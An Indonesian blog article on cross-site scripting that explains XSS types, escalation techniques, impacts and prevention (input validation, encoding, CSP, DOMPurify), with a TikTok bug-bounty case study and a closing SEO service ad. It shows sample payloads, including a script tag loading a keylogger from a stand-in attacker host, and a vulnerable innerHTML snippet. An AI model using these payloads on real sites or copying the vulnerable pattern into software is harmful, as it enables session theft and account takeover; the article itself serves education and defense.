XSS atau cross-site scripting adalah salah satu celah yang paling sering ditemukan di aplikasi web modern. Meski konsepnya terdengar teknis. Cara kerjanya cukup mudah dipahami, penyerang memasukkan script ke dalam halaman web, lalu script tersebut dijalankan di browser korban.

Saya masih ingat ketika pertama kali mengaudit sebuah website kampus yang kelihatannya sederhana. Semua terlihat normal sampai saya mengetikkan karakter <script> di kolom komentar. Seketika halaman bisa muncul popup hasil injeksi XSS Itulah momen saya benar-benar memahami betapa ringannya sebuah celah XSS namun dampaknya bisa berbahaya bagi pengguna website lain.
Definisi Cross-Site Scripting (XSS)
XSS adalah serangan yang memungkinkan penyerang menyisipkan dan menjalankan kode JavaScript berbahaya pada browser pengguna. Serangan ini memanfaatkan kurangnya validasi atau sanitasi input, dan inilah yang dieksploitasi oleh XSS.
Tujuan utama XSS
- Mencuri cookie (cookie stealing)
- Mengambil alih sesi login
- Memodifikasi tampilan halaman
- Melakukan phishing
- Menjalankan aksi atas nama korban (misalnya mengirim pesan, mengubah data, membeli produk, dll.)
Sejarah Singkat XSS
XSS pertama kali dipublikasikan sebagai kerentanan pada tahun 2000-an dan menjadi salah satu isu keamanan yang paling banyak dilaporkan di platform bug bounty. OWASP terus memasukkan XSS dalam daftar Top 10 Web Security Risks selama bertahun-tahun. Bukti bahwa celah ini tidak pernah benar-benar hilang.
Referensi:
– OWASP XSS: https://owasp.org/www-community/attacks/xss/
– MDN Web Docs tentang XSS: https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting

Jenis-Jenis Cross-Site Scripting
Stored XSS
Stored XSS adalah serangan di mana script berbahaya disimpan secara permanen di server. Biasanya terjadi pada fitur komentar, forum, profil pengguna, input database, dan sejenisnya.
Ilustrasi sederhana:
[Database]
Komentar: <script>alert('1'.document.domain);</script>
Risikonya tertinggi karena dampaknya menyebar dan bertahan lama, apalagi pengguna lain bisa mentrigger script tersebut dan bekerja pada browser pengguna lain
Reflected XSS
Reflected XSS adalah serangan yang terjadi ketika input pengguna dikembalikan (direfleksikan) langsung ke browser tanpa validasi.
Biasanya muncul pada:
- parameter URL
- form search
- error message
Contoh URL berbahaya:
https://example.com/search?q=<script>alert(1)</script>
Serangan ini umumnya memerlukan trik sosial (social engineering) agar korban mengklik link tersebut.
DOM-based XSS
DOM-based XSS adalah jenis serangan yang terjadi pada sisi klien (browser), bukan di server. Script berbahaya muncul ketika JavaScript di halaman memanipulasi DOM tanpa sanitasi.
Contoh snippet rawan:
document.getElementById("result").innerHTML = location.hash;
Jika attacker mengirimkan URL:
https://example.com/#<script>alert(1)</script>
Browser akan mengeksekusi script tersebut.
Blind XSS
Blind XSS adalah jenis XSS di mana payload yang kamu tanam tidak langsung terlihat hasil eksekusinya oleh penyerang. Artinya, kamu tidak otomatis melihat popup atau output ketika payload dikirim. Efeknya muncul di sisi admin atau sistem internal yang memproses data tersebut.
Contoh kasus umum Blind XSS:
- Form kontak atau tiket support
- Log aktivitas server
- Panel admin yang memuat data pengguna
- Form input yang di-queue untuk diproses staf internal
Karena admin biasanya memiliki hak lebih tinggi, Blind XSS berpotensi menghasilkan:
- Pengambilalihan akun admin
- Eskalasi hak akses (Privilege Escalation)
- Akses ke panel internal (back-office)
- Pengambilan token API atau data sensitif admin
Blind XSS biasanya ditangani menggunakan layanan seperti XSS Hunter, Project Discovery XSS-Client, atau server callback pribadi.
Blind Stored XSS
Blind Stored XSS adalah gabungan konsep Stored XSS dengan Blind XSS. Payload disimpan secara permanen (stored) pada sistem, tapi hasil eksekusinya terjadi di lingkungan yang tidak terlihat oleh penyerang.
Contohnya:
- Pengguna mengisi form profile, data masuk ke database, admin melihat profil, script berjalan di panel admin
- Komentar pengguna disimpan, di-moderate oleh admin, script tereksekusi di dashboard admin
- Input pengguna dimasukkan ke email notifikasi, admin membuka email, payload berjalan di client email berbasis web
Blind Stored XSS sangat berbahaya karena:
- Eksekusinya terjadi pada akun dengan level tinggi
- Penyerang tidak perlu menunggu korban klik link
- Log serangan mungkin tidak terlihat oleh pemilik sistem

Bagaimana Serangan XSS Bisa Dikembangkan Lebih Jauh
Banyak penyerang mengembangkan XSS menjadi eksploitasi berantai. Berikut beberapa teknik lanjutan yang sering digunakan:
1. Session Hijacking dan Cookie Stealing
Dengan akses XSS, penyerang dapat:
- Mengambil cookie sesi
- Mengambil token CSRF
- Mengambil OAuth token
- Mengambil token API yang tersimpan di localStorage
Hasilnya bisa berupa pengambilalihan akun (account takeover).
2. CSRF dan XSS menghasilkan Full Account Takeover
XSS bisa digunakan untuk membuat permintaan otomatis yang tampak legal dari browser korban. Misalnya:
- Mengubah password
- Mengubah email
- Mengirim dana
- Membuat transaksi
- Mengubah pengaturan keamanan
3. Keylogging via XSS
XSS dapat memuat script eksternal:
<script src="https://attacker.com/logger.js"></script>
Script ini bisa:
- Merekam penekanan tombol
- Mengirimkan data kredensial ke server penyerang
4. Phishing Halus (UI Redressing)
Penyerang dapat:
- Mengubah tampilan UI
- Mengganti tombol login
- Membuat popup palsu
- Menyisipkan form login palsu
Semua dilakukan langsung di domain asli sehingga lebih meyakinkan.
5. Remote Control Browser (BeEF Framework)
Dengan XSS, penyerang bisa mengaitkan browser korban ke framework seperti BeEF, memungkinkan:
- Screenshot halaman
- Redirect otomatis
- Eksekusi JavaScript lanjutan
- Enumerasi jaringan internal (pivoting)
6. Eksploitasi Internal Network (XSS Pivoting)
Jika korban berada di jaringan perusahaan, attacker bisa:
- Mengakses perangkat internal via browser korban
- Membaca panel admin lokal
- Melakukan port scanning internal
Teknik ini dikenal sebagai Browser-Based Pivoting.
Dampak Cross-Site Scripting
Dampak Terhadap Pengguna
Dampaknya bisa sangat serius, terutama jika targetnya adalah akun pengguna aktif.
Potensi dampak:
- Cookie stealing (pencurian sesi login)
- Pengambilalihan akun (Account Takeover)
- Keylogging
- Redirect ke situs phishing
- Penipuan transaksi
Untuk aplikasi keuangan atau e-commerce, XSS dapat menjadi pintu masuk serangan lanjutan.
Risiko Terhadap Keamanan Situs Web
Bukan hanya pengguna yang dirugikan, melainkan pemilik website juga akan kena imbasnya.
Risiko bagi website:
- Kehilangan kepercayaan pengguna (trust)
- Kerusakan reputasi brand
- Manipulasi konten
- Penyalahgunaan fitur admin jika admin menjadi korban XSS
- Kerentanan lain seperti CSRF bisa digabungkan untuk serangan lebih besar
Beberapa insiden besar bahkan melibatkan XSS sebagai titik awal eksploitasi rantai penuh, yang dikenal full chain exploit atau chaining exploit.
Teknik Pencegahan XSS
Validasi Input Pengguna
Prinsip dasarnya jangan pernah percaya input apapun dari pengguna.
Jika programmer ingin menutup celah XSS, mereka harus:
- Menolak karakter berbahaya seperti
< > " ' - Mengizinkan hanya karakter tertentu (whitelist)
- Membatasi panjang input
- Menggunakan library sanitasi (contoh: DOMPurify)
Konteks Encoding
Setiap konteks HTML membutuhkan encoding yang berbeda:
| Konteks | Encoding |
|---|---|
| HTML | < > & " |
| JavaScript | escaping dengan backslash |
| URL | encodeURIComponent() |
| Attribute HTML | escaped quotes & characters |
Kesalahan memilih encoding adalah penyebab umum XSS.
Penggunaan Content Security Policy (CSP)
CSP adalah lapisan keamanan tambahan untuk membatasi script apa saja yang boleh dijalankan.
Contoh CSP dasar:
Content-Security-Policy: default-src 'self'; script-src 'self';
CSP tidak menghilangkan XSS, tetapi mengurangi dampaknya.
Contoh Implementasi Keamanan
Contoh sanitasi input komentar menggunakan Express.js + DOMPurify:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.post('/comment', (req, res) => {
const safe = DOMPurify.sanitize(req.body.comment);
saveToDB(safe);
res.send('Comment saved safely.');
});
Coba ikuti standar dari Cheat Sheet OWASP Cross-Site Scripting Prevention.
Studi Kasus, Blind Stored XSS di TikTok Live
Peneliti keamanan Ahmed Abd Elrahman melaporkan Blind Stored XSS di subdomain TikTok yang berkaitan dengan live-streaming, khususnya bagian partnership dan manajemen live streaming.
Form kontak (partnership inquiry) TikTok menerima payload meskipun input “plain English characters” saja dianggap valid di awal oleh sistem.

Payload kemudian disimpan (stored) oleh backend TikTok, namun tidak langsung dipicu di halaman publik. Eksekusi baru terjadi kemudian sekitar enam bulan setelah injeksi, ketika payload dieksekusi di domain internal milik TikTok yang tidak dapat diakses publik.

Eksekusi terdeteksi melalui notifikasi dari XSS Hunter, tool yang digunakan peneliti untuk mendeteksi kapan dan di mana payload dijalankan.
Dampak dari celah ini adalah pengungkapan informasi internal sensitif, data sistem, dan detail proyek internal TikTok.
Menurut Ahmed Abd Elrahman, eksploitasi ini sangat berbahaya meski sulit diprediksi kapan payload akan dijalankan karena hanya aktif di sistem internal, bukan di antarmuka publik.
TikTok menilai kerentanan ini sebagai Medium dengan skor CVSS 6.8, terutama karena kompleksitas serangan tinggi dan penyerang tidak punya kontrol langsung atas kapan payload dijalankan. Laporan resmi disampaikan via HackerOne dan diresolusikan dalam rentang waktu.
Pembelajaran dari Serangan XSS
Beberapa pelajaran penting dari kasus-kasus di atas:
- XSS selalu dimulai dari input yang tidak tervalidasi
- Serangan kecil bisa berkembang menjadi sesuatuu yang besar
- Social engineering sering menjadi trik tambahan untuk menyasar korbannya
- Website besar pun tidak kebal terhadap XSS
- Pencegahan harus dilakukan di semua lapisan, mulai dari input, output, CSP, dan sanitasi
Cross-site scripting (XSS) masih menjadi salah satu ancaman keamanan web yang paling sering ditemukan. Meski tampak sederhana, dampaknya bisa serius. Mulai dari pencurian cookie hingga pengambilalihan akun.
Sebagai penutup, jika Anda ingin bisnis Anda semakin dikenal dan tampil di halaman pertama Google, Jasa SEO Terpercaya Optimaise siap membantu Anda. Dengan strategi SEO yang telah terbukti efektif serta pengalaman dalam meningkatkan visibilitas berbagai bisnis di Malang, Bali, dan Jakarta, kami siap membawa website Anda ke level berikutnya. Jangan biarkan pesaing melangkah lebih dulu—optimalkan website Anda sekarang juga.
Dapatkan strategi SEO terbaik untuk pertumbuhan bisnis Anda dengan mengunjungi optimaise.co.id dan berlangganan layanan kami untuk hasil yang maksimal.

